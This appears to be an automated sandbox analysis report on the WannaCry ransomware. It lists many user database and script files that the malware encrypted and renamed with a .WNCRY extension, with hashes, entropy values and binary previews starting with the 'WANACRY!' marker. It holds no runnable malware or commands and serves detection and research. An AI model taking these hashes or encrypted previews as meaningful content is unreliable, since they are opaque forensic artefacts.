                                                                                                      Preview:WANACRY!......]..n..E.W..M..uOIKX']..Z..}....P..q.>.yC.8?.+....,fL1....{..:!..of.j.a.@..)..~C!V ..!.u...........0N.4....!...Ku^....mde..].QG.........}cUs&.Sry...gC.Y:(.~\..:|W.{.i.=e.. .G)I..x..-.......N..2k.....F...u..'..S..Z..Cn . q\.J..1'{m....<..*.l.cV...W..................u.!/......Z..<~.F!..9u..+v8..n)..p>..]...M703.K8H1.\...r/.n..Fz-...Po....0.>.l.....O9.f.%.....uZ..`.7s!........A]..........)..{.Z.Y...758Z..*e[.........un.+....4....|..4H..v.M.tK..w..^^!c..=c.k.*...'...~..H...&.n..}..8y.c.<K4k.@.J.T..W.b.......1..z..\..k_G.y..9.!V,..w..-?7.y..._G.+....G._......a................Gc..c.3....x.9o..e.?w.>.a...kj...8]....i...@........BR..$.).S_.}P.!.....9.../.|...A..5.r.v......p.:..J.......)...........=+.q..'.n,%..>.....le.zy/..:.*.uK.a,.X..?..p.{.1...H.......2]..=.eO..-|[\.}&.q...E.sZ.T.;.Ap.e.......]..H../......j.z.....D?XS.h.a.....=.UM..<KS..a...rJ.vB.....w..^..L...K...t...~^.Rx...\7..4..T.h.(...S...........J.@k%w.......,!...1_.....P...

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\thumbcache_32.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1048856
                                                                                                      Entropy (8bit):7.999809544053892
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:24576:jC7Mzxi6BfSFEh1tLHhCNFsNkVWYaKXz8qRy83uP1ORbdMmR:jCSzAEztL2hz/wDKuP1OZeg
                                                                                                      MD5:066043EAF8C8022F2575186F6E6C8CEF
                                                                                                      SHA1:6A06C402D20A7FD00153008AFF1523C49EB2FE17
                                                                                                      SHA-256:9897BFA2465E230E57995462E00B7B2EA8944147CAB9327A73DA7BC89EA154F4
                                                                                                      SHA-512:93313E0664EAB96C5248DECAC680CEAF9AB6B04A269BD15C9E0DDAC7AB5A39EB869F0FD617D4D691701AA3F015D93F71A94FA54EF05687DC2A3656DAD31C0307
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....o."..".N?.f...Q"Xm..*W.........c._.Xd.<&....3l.,G.<.J.C.....G..3.%.=.U....O .]Ut.d2.W...-.nD.I.*...&&z..oZn?:....$y.v...:....RS...H...2zPW..>@..6{(.a.=.n.5bZ..;..r#.L.}........|/d?..M....OA..z}.F...........qk..W..$...?.E..4....c.[~...<.._..tg...............f...zRP..d...K.Q..<..\x7.J.....Q.].t...........9.F.r.N..q$..-...$@EZ-.....{..9....&AX./..+._A.\ R...G...*ePK.ni.\....O.Oh....&......9.......o..g....e.C...v#......(........[..G...gk.rF)...,.......8.....j.1.Q.*..M......W&...\..c.*f.D...b..~R.n..:...+.../:..f..6?$.!k.zq...n.LFd.b...Ot.X4..V(.H[.../.....s.Z.....LWI^........B.=..yk.U.BS.!j.C$M....,g..B"$..)....e(2..C..O5..*;......L".5....NF......X"...........[..]..}.p.L......"~.t...u.U..E....i.:....g.2Ow....$..3..6.'k.-..6.O.@.5.T.."W.D....2.Y"8..u..r.D.^...F.2..../.......V...J....P.a._..Lp.1.}........u.....D..m....}....e...3w|.U<%4.u.'.....[....F;J.T.n.,...+X..1$5......Z]/e.t....rb.}.v....6.W..?L..3...(....}|h.......!...H.Xac...|.

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\thumbcache_48.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1048856
                                                                                                      Entropy (8bit):7.999810763557787
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:24576:KJ2UxzFXcSEI75pGZehE5QN77jpImkfzjitdP5F/kEZAjwD75U4s4cN:KJdzrvGZkk8L0fzjQ5uae4M
                                                                                                      MD5:2535518D4B9862BF246DFF0D49F37D5E
                                                                                                      SHA1:F51A2A2DB4C3D2C2233B81CFA6B9889242F73608
                                                                                                      SHA-256:45FFA9F728E9506F628CAC4F826C6396E53E1109276A10841C8DF607540854ED
                                                                                                      SHA-512:8A144F858D6ABA901566DCECB21B975EBF26D506EA7A0BC1BA82BFACDC9A947F05D41E8ED0ABFA887332A02EC6A11B2402DA4C40305DBBD446347011993EBB88
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....RT.F.a.V......s..@......G...;5...z..D.1......n..}C..Y..M.8.=}....@\.....r.FM#;a..Q...'v$N....G..Q....v....b7.`........s......r/]..'...n..x.!..Ie.U8V?.(..6..[^yL.*...!Q.]........=.,.h..>......!.e.VHS).KM....9Ve.~......).R...E"....I.].........................*.RL$.Yi...+D.d..L7...a..!|..g.E...1D..s._......0y%oUu..@....C.... .l&.3...C..B...Mp...l..NP.x$......q....5Te.n.0..s.\n..yg..|...0w.....iT.Vc.......z.~..1gs......V.....u......rd.A....}.|.......k[...8'D...rc..`.X$.N...C&...._.fu.b. .........u/.......@...}..yk.`...%{A..P0.T6.GX Z.?q..h-.'.H.z.H..%.x</.......m@..b.%HO.&...DjX...)6.....<..wT...".....3L>#;.g..HqV.,..uE]..u<..ms.k..!<.?^..."S.,..iH....q.......d.Go..:..L0......E.X............"..7&...9..Xx.W.)..:..6.....Im.=.Ja.7...ab...."....j.Np...y...._..z...9a........1. .1........'...VC...KN.6.q....b^..T.6#t.%U.}.kV.&.S=^b.V..nT..}....o.j.2k.oI..@u+Z[..t.p.f..-.j./3y.m.0.@.v...c.m....?..,... .6.sR.^.#.T42..@..>...F..$5.H.....$..

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\thumbcache_96.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):4194584
                                                                                                      Entropy (8bit):7.999951037869483
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:98304:YfjE1miRl8fRnVXFBB49Cz2vWiH0iydD/PwfIU5iYM8X6lYS:2jE1bRufRxMTvWmydJU3w
                                                                                                      MD5:0268CD6D7B0AE62DF2EFD04CC8BF1FAA
                                                                                                      SHA1:07D5203808E1B1166BD379C9516946803024201B
                                                                                                      SHA-256:AC87EDCF09C0F3E1AE42CE07B4CA1E951439C174953EF6AA4507C1607F78DD55
                                                                                                      SHA-512:84704138E76E5450BB234EA9FB3C3F1AB7CFF3DA426FA4AEA826832323F179EBFE4A685F0B3566FEF84B0C2DDFA66EE84291E0AFFC7DA3DDB980CB501716D8FE
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....b\.........>.p.....Z...%y{.K\Z.y.Q.pA..C.OK.>...#2..[.....Wqz...u_..8..?6)o>!.r..~6q.N1...ljP>..9.1..v\..d....?.M.........W3muK.M.R.eH.....U...r.}./.U..l.8.J..PU..$.B...\y..=."H{....[.j.#..C<..W..p...6TC..+...d.`...HPu..........].Y.~..2..#.P.|......@.....Y?..;............./.h..W.Y..:..?.sk(....).i.T..J.~.{...([c..J.t...u...(.W.R.I..4.~.#w.......;..FgF.@[.d/d...B.R.D.......J..y...q.i.xK.n}?.BD...=.9..^...}7B.V!..N........46.;QK.FAJ/.F.........h...V....L47...1_.3...aJ.v..evc~y.....V.Y....4.k..h)....l.&.m...f.@c.KR.$d.E+.-!...g...>.X..?.T.?%&...._......r.J....+..<.mv.X..F....X..5.....%..T.V......e.G..u.1.&/.K._...y.b.I*D>1...Z.M.Z...}!.=.a....L.V,V(.mz{.Xi&...8[..m..}F....."S.k.B...@....e..3;.........C.U..T[L..+..Z.r[....rNP.(..+.H.D...[..I.....t.OI.0-.0.,....>M&.h...!...t..Y. ..Z.NM...V..s.3uiv88...(G...rB..g....#JHe.s..s.c+...c...x..'Wr..j....+=;...i 7..Qu#...5.R...I.0.(~.~.....-..m3:%....HY.p...d..2.M......w.u.\.x..'.F_..]e.HB

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\thumbcache_idx.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):58600
                                                                                                      Entropy (8bit):7.9971792848886185
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:1536:9evmSmYGW49+hToMYEgWk3D6dBJs1VYTnLhC7nE9ePpp:Mvmx7aHYLDABi887jPn
                                                                                                      MD5:EF7A7B823864E80F46EA5141A8762A21
                                                                                                      SHA1:EF7EEBF516491E2EB35D32DC7205AA239B74D321
                                                                                                      SHA-256:3F387FAEA39307960C3B714E265C17E7B1D4FC52D21071B4C783CC679D780ECD
                                                                                                      SHA-512:98AFC550BDD35C995F358364A66FA97CD254F52BD7E170B3ABC4C289DFC2D0A3F2E78E34077D4CFE63F633D0652EB015DCCB5A317B4A08042D0C2DF72B0FF14E
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......]..8"..^2..s..+...*.n{u...........W...g..t. ....U..c ..d.t-a..< ..~...Xi..Qk.b>..F"x......5..w.,..>...(.b\..........+.<FL-c.O..Q..kM.fG.....e.b.;p.........=G+.H...[e.....k.].q.&...jg.....T.....<#.~.fL|.....m.....B.dB.0!'.r...!..j.....................r#.j.<....-I...vQb...iv.}...*2V....Ac.D.Iy.CYw..N..J.~w..j!(q.3...7).3qyg.:\P....J..#./.f.....d.h.(}.....}?..V....0).#F?.~.......D.Q..P...s.0+T..CPn.....A.....{..8f.*JX.Z.......W..n..ny..q%s.8.>.. .c_\..PTS...\..R..._...O.F.X..$...=....p..A....r.iB...[.H..%....h.....2.C..^.wr..#/Rg{^.r.;.V!......j!...n.'.a..fM&y..^.....v@..[c....D...T.w.....l...<.r.N......;Y..e.#..F..{..JA...M....R...q......I.].K.*!..T.<......R.u.!.'.._|.U'o_.(3.|.e.).H@ek.&f...qK....{..@..X..N...V..."..`.y.3f......~.\...F......Q.^V...Y.....|M.H\.F.o."s..\....z.<...)..@T.K'U%C.....)........`F3QL;-.tJ_...Y.h....p.S...i.....1^..'(..h..+Mqgu#E-X*.u.O.q@...r[..U......!i..w....XCxXB....... .=...%W.F!..K...&.7..

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Notifications\wpndatabase.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1048856
                                                                                                      Entropy (8bit):7.99981120414946
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:24576:auJG3efaETc7f2wLMkdyyp4Wc58nBewLUUnDi/pHfXyZLa:ausebA7uw1p5PonIZW
                                                                                                      MD5:47323E5523B3CD05BC24F0FFFAA9CB42
                                                                                                      SHA1:1DBE160072DC8D8F24C706EAD3B359BAEFBE2313
                                                                                                      SHA-256:1574232EE681C5A26697FB8862D7F1593B81A1861956965BA1CF2EA45C95E689
                                                                                                      SHA-512:F30CEED40208D369A21C9A2F335F68E6E505657470AE7B1D7C0B5FE66C2F854E40837265155843846BB0424DC5BE1B3D22FDAD9AFDEE5F97494456B1EC893483
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......W....y ...?.K.DwP=6:G.o...F..(|0.F...0..s.,..@... .Ay$.D...$.5_.....d.A.(...#..6;.Y...E......WQFi..fm;.<.L..bb?......?r..62......^..=y..NjJ8.k:s1).......:7Dp...#.......:.._:.......N.p.T.<...h...r..%.y..r....$.X.?;i-.)3...Z;..n......!.....9.\|.............Z..D........b....e.jx.....^......*.)..z.:pI..[=.M......M.e....T..S.u..s....9.....Q!^.....C.$Q$gq..m..BuU....7Qsi...CT6.!.`.....@...zy..F..r>..@J=4n...Q...A.7\WHW......<>..e.-.HN...?o.u.a.H'k.by..R"Nx5.=..x..CW.$K.3.......b_,+B.8.k..b.o..q.Tk.Q.|Cu......Z.bC...[y.U.|Cy.k...qW.(..k..@.V.....n..N.0P~....].,5/......EO2.0...u...j!.N.!dw..U4.:...O.'.z.u1.....cbD..........E..C.2ca.#..K.w..7$...B.$5.p.O........l...n.MP.@.........}H..A.C\...<.N.#...+.Y.....>.(.De..q.I...[.`.g..ps!_..!8,U.'yx..5`.........#..........+.d[..7y....H'.....e3..Y.(u.B.......Jr.H.}.A..y;...;A..>.\.G...Z X..S.2...F.\...W.net.$.BA..T*\z..r.....e..........T..O.. .1.-M..&(...?...0.....z.....o...7K.o?..?g......DI:

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\18e190413af045db88dfbd29609eb877.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):24856
                                                                                                      Entropy (8bit):7.993500212388911
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:384:9NxhgAQLpRdnKNC7bRhzGTcJupVL3HRFPQzhmaIx06DEA5kXALPvz:sAGrtupVL3YFmae7aXAjb
                                                                                                      MD5:FB2EF80447DC2CF6C937E5513BA7B90D
                                                                                                      SHA1:CA4624A62802FFB7E5E7918548110E3368C437DF
                                                                                                      SHA-256:5B7E209CA30FEF59453D29D2FFD35F703315C5E85002A931CBFBF77A476705AE
                                                                                                      SHA-512:18487C8AFF6A5130876599FAE41E69A063B5A32C9963B820F451485EC6719FF8D727A494611070CA6DC3A8667A606651EEE7397821F08E9103EF6FD514B74D10
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.........9..6.H..}...*|...v..YJ...N.z.....U.dB..4...b.!.....-Q...4.wi.....Tr.q.}%.`#&&.%..h.4.E....:..p..xN...8..VT....".......wru>6..C+..VVP.#/d.."..[... .<.o...>..^..h.&....y7....]....4......n<j\....k..).$S....M..9.......w....B..n..B.....k-.P....zl.....`......l.......Y....,#`......Y%Y.....1.%.j....:.'....5........p...{.bW....C.b..2.S..yX....!Csh....].kh.....3.[E..;KcM.@Mg..@@.'z...6......6.m<..G.||T{Ye...S.U.PVm5.......1..1.....W..kZ...8.y..6..J.S..p.tR.".. O....]w...4.(.U.Y<.-.V.r..H.1..-.[.....J^..uZ:...,I?.l...rm.X@[......}..........5..L..g..c..e.$.y...s..... ......&..\...,.%.=.L.P....Sj..)..:Bz.D....$......x.i.H}n...t......C.P/.....|..Xj..+>.0+...pO....@w..pPTc.s..qN*...N9_u..$*[.....bw...L&.9q...F'......y'......dGX.'..._z...... .........3....p.>@'..(.Z...0..-8=Kk6'.S......d/...-.=.J...Q.....4.0.)`.=........W..8.d...w....4ArR].,4.O....BI.,....a.G...hX...f.LW.X.....%..c.(g..b...ZL{(..*..6.K......5|...Iyi_.b.K..z....n.zd.?...3.:.+.\..

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):16664
                                                                                                      Entropy (8bit):7.988581502086213
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:384:Zok8CdGD/ZfyJJJs3+zfNDUA7usaKYomKOUtK0PjzMQbLB:uk8lha5XN4Ais3mKOgK6Pjt
                                                                                                      MD5:5EF4A531A532804055564AFF3ECC018B
                                                                                                      SHA1:D3DBF48078FE850512FD3C616FF37CE566002764
                                                                                                      SHA-256:2D68E13A05F781430BB93119CCC7E5E063BEDB2A2397C54438446194DFADFEAB
                                                                                                      SHA-512:3F3CB737AA93073D961F7E90563E70478B270446DB2BFED97097CFF6675BB54957B5A68691A40A812E82CE6330352B3B76047E5C17128531C5F4FB4091111EE3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......Y...}..*D........@.:).]...]..|.n._.....Y.{@oB...9.....].?..=V.Ri=.........Re....G..%Q.".!.f...P..i7,|..D`.9f. ..j...z.x..:..b.7X....."8%io.c 6V.g..Z?,..]..`.+[..3..w.*.,k; c...+u..#C8.(...9..B.DM.H..I.V.Xk.. ....*.7...1..r...$G.J.._..........@..............]r.....xi.. ....Z....sA....u...IX>Z...XV)....hW.....&{w...fJr...P%g,................]@....z.o^.......@;,l....J.Q.;.bw.e....vF...,l!X#T..N...S.h..Y_...\.....>..~..u].a...*...r.....T?.......G.T.b....;.....Nf^S..o...8...+}..YK_H.x......5......3.L....Z2.O.v.vK0~.Y1.~v0...B....rV<..WO..._>.h.5)=J&G.B.-H..mf.g.e[2?..R.r......`.Y..v1..|........]._2...!0..34.9.!=...8o(.Fz.}{.D.`l..B..@...&..v...:R..n..[.N.y4.kRx.R ...o...VB.....efMl(...2G..*E.p....).JTwXe.....:Vqy..u...2.;e.........f.r..*.U....R.Pc.1b..X.,fU.VH.`F...;.i.{.S.....h}.t..7...].L..-|.TB|.....?.1...e.....N.......Fh.k......).>..I......K.eM..^.2...|.7.!.....Q..e..".....R5.SJ...".\..7...+...h.n.v@....O D.}Y.[2r.

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\EdgeEDrop\EdgeEDropSQLite.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):33048
                                                                                                      Entropy (8bit):7.995577601551343
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:768:oQ/lUEFSdw9AhcBocECqgSNnJsvgm10kJaGSV6dzP7aOSnnsv:oQ/l9EdThu7SNrU3lw6MFA
                                                                                                      MD5:34D1A5330BDAA8E6A3FD72682F41B41E
                                                                                                      SHA1:48C2C7FB524B8E4C6E4ED2F91BE16CD83FAAA82A
                                                                                                      SHA-256:77FB64BEE86917C05E70DF45FA89CDDFB1DD00149E74CFB08BD44230AF4017C9
                                                                                                      SHA-512:4ECE9B24EC677BEE87460683D00B5E5480F6B4B3C7F32E4AD7CFF4B99E96C7D6581B9E240EEA75DA7F76BE25DF8ED690224430C5E887EB0DAF3A6EC2F894F11D
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....?...y..ij.f.../.V.Z.fc.A...+{..f..3....`...V.p[c......1T.u..g~.i.^,..x...=mxD...>..6....3....DTp..B.%.h.c.^g.x...Z..T.eQ..z......G..m..........e...Key........s.(..b...Z......@..2G..3..l..B....B;..D...I..T.\..ZB.v...V.&.A...i........'U...Y"F.............p*.M......k<.u-.u.I20o.B.95j..c....i....e%..U.]|..KQ:Q....n.`...~Kai.._.......M..A$..L.......a..t.s..g..Bn..).{........W<w3....f...9N.Y..$B#F....&R..z...\...f..i..39*`.&....^ts+..~.l."....Cb/.u".M..Gsw...S...m.E.A;B..+$....kE.)....k.F.|......L.O|.T60=P...?1^.33.{.TP=.-)j.s...EC.8.......9.2AR.Ak/.2.,...z..>...T.&(S..I...D..{.6..fGe.Tk.n.aN......a...]....G....A.V..!.l.q...A../L/s@..pb.E'{'b..,..'2.t.f.%q.%..~v.....).....Mw{?.V..L..'.V....w.."..J.=..n;E..|...&;%...{.x.o...5i:.mJR..C.QiCG.M..A.e...D'Y.=..B.<...(.V..<C(1.V.........o=`.&G\_.?...ab....{..E].`.i..<,l_....$........W.aC5.A..J.#.\F.,Q..q......%..E.a...j..V.k..=.......-..].d_@er...*..YoI!...u....T_..i.M*w'.1..Q.".C...3...g..8.

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\heavy_ad_intervention_opt_out.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):16664
                                                                                                      Entropy (8bit):7.987428239605978
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:192:xnxT46tE44A8E6qlWWuhE/c3T4B0PIUIBucT5nitW+HoMwHFgjNx6KKPS9+vfQp9:xxTO44Q0W0HjE0PWT5iLHjgNeeYpRffT
                                                                                                      MD5:7C628F5122F160115D76D4F375317458
                                                                                                      SHA1:C8EEF4C8A610FC2C465223A40926814041D48CE2
                                                                                                      SHA-256:1911305C5D5E63C393715AC521F589B401183507EC6E77FE9FAC019D0C3A4762
                                                                                                      SHA-512:BD4BBE952CE578CFF3CB525EF2078AEC37B333000EB2EC7417A5783C4BFF2F072AF280D410A66E4014048A7C6BE3C0AF214F2F2815ABE67F9A1A06FE77CC8A95
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....O..n.....;......shZ..LB........Qt...D......&..M.2.A.M.J.(.2gn........|iD.~..H.0O..l..[...}.dj..=.(.sl\.4.#.HB....S.}t$N*(J)?Rqr..Tf+q{]..@O...q...ze..ac..Y.`.....-.v.....r..*.H....6:. <R8.c6.N ...a....k..c.....}..}..7S..D. ..k.k.(...`I..l........@.......F.X..,.6.#.Yl...E.6R|.....w..m..,.o...j..-.M........P<..Li.....;.....-.d<9#..~)2..#Y..y..3r.81.9sT..P..~.K...f.Gt...Z.{....O.y...B....k#ir..0..'.. .s|4.]j<.%.R$..`.+..@H..h|.+]Y.K....,.\$.........j.S...h.j.....uB'........|U.t7.l....y.i..A....R7u.....u~..6....e4.p;........'...U:...p.....<..Tkt.vE....7..9.XE@.v.7.....X.....`.K).:].n.~9...i.^.;5.....*A.......#...@z.?D.y..H#.J(....d...\...B.G.czY..s..H.e.......{.._......+..3..._..P.B.bY..:.'.W.........c.:.TM.II.tA.pP~...JJ.....s..k..l..'l..x..../.Z..f....f..e`.b..o..,..c....U.O..&$4%DIV3..2..7....$n.`ta7.w.].+..V..l@[y...1]_\v...7...N...^....U.R...x..R..:..y....3.......M...!.K..%ZX.e.....w....6).P..-p.=w.p.-._.....1L).<.]....

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\EADPData Component\4.0.2.33\data.txt.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):80488
                                                                                                      Entropy (8bit):7.997716738544695
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:1536:lZt26eFN5MsFjM0cL68YA5lpQnCVD65l8wDY/OrRe:rt2Z5MszcwpCVDu8wDY/OrRe
                                                                                                      MD5:83E8D202D9AD7E1CCF5766310BD7F85A
                                                                                                      SHA1:D8E4FA7E0896E6EDB9A5A94DC07A68542B715893
                                                                                                      SHA-256:6FB6CA5F8CB381227FCA2A8C2A77E2669BCF6BDD50B701559E14F20A85AA4641
                                                                                                      SHA-512:F91BDEB85E4467B868A344DFDBA7F43693956637CF8B4AC82A44B578B312F1D56A65332BFB16D9E60705599BE9DEDB32FCDA90F16F48A2E0093CE01F80C69C73
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......)..\.=.*....V.zb_/.~*.hB&H.Q{G"..2..6..ekt...@.2...5...u...IN.....v..V!3 .f...\...nB..L..b..e"s_.4.M<\.A...%ZN.*6p!tP&.......l.l.s..{g..........7M.c.g+..:..2.m..@.u..I...ty.Q.&.^M..9. F.....)?.G..kh...8...r.2......L.:.NO.6W.F......:m.+...6.%\.QA%.....D9.......(..6..2{..^..W..+..vR..B..wG..44.=z....SX+..YR.U....+.>.8..~...X].....np.-$ZE...j.........l.K......m....jMhs..p;ikn..".`.d.../.%..GtM.../...`.V.....I....b.H.-......r8H..LHC.BjH......^R........J...!Z......ry8;...6..Gk.7`..xH...".....A....`..7|9..V_..#m..,b.wU...Ij..B7.:3...v6,..D0XOqk$%..Q.......m.Um"J......*v.^..{W;og..p.......:e..6PP..]V...e=.....`..BJ"El...V^.....Tr.....;t{.X..2.9......a.1..=I..n......@..w.7...?..zS...L.y....."5...9.........&.5[...:.'. :A..j...w.X.!G$...G.z...3^..p......h.......>H};.eP........M......-."..<..k9.T...N..[f.....)..~5scl.....i~...h.v.SG...B..7}..)....B.P.._%<u..%.......%..f....m....BG..`...uO....K..*.G.dP..a..4.G.gS.;...K.]^../Or.....iicU.I..Vy.;.

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Designer\1.0.0.20\InputExtractor.js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):11848
                                                                                                      Entropy (8bit):7.984539885298477
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:192:LS7l8f2705T+MMLOFeqOmVqlansJVCxfHV5BB7OtFhMDSWraQyMKi5hqKX99FUGD:2Wf22VVlzBB7EHMDSWOMjrt9FvLW1g
                                                                                                      MD5:0F74C4A07E7A2C481864717E027FC23F
                                                                                                      SHA1:28D5CD892DCFC0CB0A3E1F5F0544DA2B1865329F
                                                                                                      SHA-256:676C17EC1D342B13DEE4FDC0F957C73ECEC9490D7FDF503BE666FF7A1906C28E
                                                                                                      SHA-512:6A820385A9FF1F3ED158CFD75D07FC0D2E3D6E5995322DE84168E3794DE1A868A24DCA4AE51C89A3ABF2DD665E4E24DD81CD97E38CA29B36A7A189F854824981
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....nH........~N.N8.<r.cz.XJg.i.7$....<..e'F....*.d.y......;..k.Wp.s....X...M+?...LS.|..O...3DA....m4..._..p&G..\.~.....n.i....4T)..&..Y<B$x.)A..L.7.......hd..`)...P.J.V...T"(.R.N.....Tg....x...(D...o,W..q....zJ;`,..........OQ....oBa1.;.h.pC)uJ.}dY....../-........<.T}.]..k...... ..+Y...,.K.)L....F.u.v.~...`..k...P.+....Egam....{.`..T.....bpR5....,...)M...c..."..,..M.S...B..`.C[(QqZM.....yli.......m.}6.B..t"..COp..b^.....4H....+....Ux.]=............3....r.i'..E{<....$..# r.i..)F|.\.g.Y.9.R. -:.....p......*.Er.z]#@..&_L...^...YJ..n.8.\...M.zV.[...R.f........4.@...xQ.....R.5K....K.m."....w..N.4)..:F......(J.l.....e...mw.D.d=.1...-:.?q..v.h.;>b...q..K..^4./.d!.?..-..yW.b.`.k(...D..0\P?.bv..YgZ22.F ...Q.s).U3.."..ne.-.&7%..DT.....3...C..8,.g..."..-|..v..+*rx..fA.....B.H....".. HG.+q...d.Z..p..Q..:..^...}.?...A}&.m...P*_ku.%D....w.....ys..5"...R(z...#3.D;.K.....:....k9L.$......{..p......>F....m..)f. Z.GP|{-..h...+.....57.*S=b.bk...j...(@W2X.e....

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_driver.js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1681000
                                                                                                      Entropy (8bit):7.999893008488475
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:49152:jbTSjCtfVD/upyiDu3N3obeWW7pbM9NynoPagtaE:jbT3tdDCLDu3ZMeWipoTyoPagJ
                                                                                                      MD5:1A20282647B1683165A8703D10C13FBF
                                                                                                      SHA1:AC3E3F2491BBF118DDE40703E8782B71BCAAE3F9
                                                                                                      SHA-256:D21A699FD29041AE85E03CBCD5004737054278FB50E5DC39C4D67BE9F4836AD5
                                                                                                      SHA-512:81B5FCBE43AFAB665FC0E96B3CC91AE6319908F3A27A0AA475D1882C0C04AF05100B0CEE9EF072C5860B73A8B67B97C799C9A12092829B7E0A10CC209929D0FA
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
